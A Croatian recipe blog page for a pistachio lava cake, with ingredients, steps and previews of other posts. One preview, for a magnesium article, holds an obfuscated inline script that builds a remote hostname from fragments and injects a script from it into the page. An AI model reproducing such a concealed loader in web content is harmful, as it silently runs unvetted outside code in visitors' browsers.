LAVA CAKE S PISTACIJOM





Lava cake s pistacijama 


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>

Lava cake već je godinama omiljen klasik; izvana pečen, a iznutra mekan i tekuć, s bogatom teksturom koja ga čini jednom od omiljenih slastica. Isto tako, njegova je prednost i u tome što ne zahtijeva puno sastojaka niti komplicirane korake, a rezultat uvijek izgleda impresivno. Međutim, ovoga puta donosimo verziju s pistacijom koja poznatom receptu daje suptilnu orašastu notu i profinjeniji okus.




Lava cake s pistacijama 


Sastojci za četiri porcije:

  • 100 g bijele čokolade
  • 80 g maslaca
  • 100 g namaza od pistacije
  • 2 jaja
  • 2 žumanjka
  • 50 g šećera
  • 40 g glatkog brašna
  • prstohvat soli
  • maslac i kakao ili brašno za pripremu kalupa
  • po želji: sladoled od vanilije, nasjeckane pistacije ili šećer u prahu



Priprema:


  1. Pećnicu zagrijte na 200 °C, uz gornje i donje grijanje. Kalupe za soufflé ili manje keramičke posudice temeljito premažite maslacem, a zatim lagano posipajte kakaom ili brašno kako bi se kolač nakon pečenja lakše izvadio i zadržao lijep oblik.
  2. Bijelu čokoladu i maslac otopite na laganoj pari ili u mikrovalnoj pećnici, u kratkim intervalima, miješajući dok ne dobijete glatku, sjajnu smjesu. Umiješajte namaz od pistacije i dobro promiješajte da bi se svi sastojci dobro stopili u jednoliku kremu.
  3. U zasebnoj zdjeli miksajte jaja, žumanjke i šećer dok smjesa ne postane svijetla i blago pjenasta. Zatim postupno dodavajte smjesu od čokolade i pistacije te lagano promiješajte.
  4. Na kraju umiješajte prosijano brašno i prstohvat soli, miješajući špatulom dok ne dobijete glatku smjesu bez grudica.
  5. Smjesu rasporedite u pripremljene kalupe, puneći ih do otprilike tri četvrtine visine. Pecite 9-11 minuta, ovisno o pećnici jer rubovi trebaju biti čvrsti i pečeni, dok sredina ostaje mekana i tekuća.
  6. Nakon vađenja iz pećnice, pričekajte da kolači odstoje minutu te ih potom pažljivo preokrenite na tanjur.
  7. Poslužite odmah, dok je unutrašnjost još kremasta i tekuća, i uz to kuglicu sladoleda od vanilije ili posip od nasjeckanih pistacija.


Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više